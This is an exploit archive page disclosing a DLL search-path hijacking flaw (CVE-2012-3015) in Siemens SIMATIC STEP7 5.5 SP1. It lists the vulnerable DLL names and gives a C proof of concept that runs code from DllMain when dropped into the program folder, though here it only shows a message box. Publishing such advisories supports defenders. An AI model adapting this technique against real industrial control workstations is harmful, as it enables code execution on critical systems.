what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking
Posted Dec 21, 2016
Authored by Amir.ght

SIMATIC Manager Step7 version 5.5 SP1 suffers a dll hijacking vulnerability.

tags | exploit
systems | windows
SHA-256 | ddad2b2fdbce31e4817c2d302d69fee5c22b023791e6fced5b6e4b53324b0972

SIMATIC Manager Step7 5.5 SP1 DLL Hijacking

Change Mirror Download
#######################################################
# Exploit Title: SIMATIC Manager Step7 DLL Hijacking
# Cve : 2012-3015
# Author: Ashiyane Digital Security Team
# Vendor Homepage: siemens.com
# Version: >=5.5 SP1
# Tested on:Windows 7
# Exploit by : Amir.ght
########################################################
Description:
Company Name: SIEMENS AG
Product Name: SIEMENS STEP 7/S7(TM) Programmable Controller
SIMATIC-Manager:
The SIMATIC Manager manages all data belonging to an automation project,
regardless of the target system (SIMATIC S7, SIMATIC C7 or SIMATIC WinAC) on which they are implemented.
It provides a common entry point for all SIMATIC S7, C7 or WinAC tools.
The SIMATIC software tools that are necessary for processing the selected data are automatically started by SIMATIC Manager.

Untrusted search path vulnerability in Siemens SIMATIC STEP7 before 5.5 SP1,
as used in SIMATIC PCS7 7.1 SP3 and earlier and other products,
allows local users to gain privileges via a Trojan horse DLL in a STEP7 project folder.

vulnerabe DLLs:
aC/ winsock32.dll
aC/ s7acalxx.dll
aC/ s7wsilrx.dll
aC/ s7wlclrx.dll
aC/ s7ousbpx.dll And Many Others

###############################################################
# PROOF OF CONCEPT:
For Test this vulnerability we can compile bellow code and rename outfile to
winsock32.dll or s7acalxx.dll and copy dll file to directory of simiatic program.
after opening program malicious dll will be executed
..........................................
//gcc exploit.c -o winsock32.dll -shared
//this dll show a message box

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close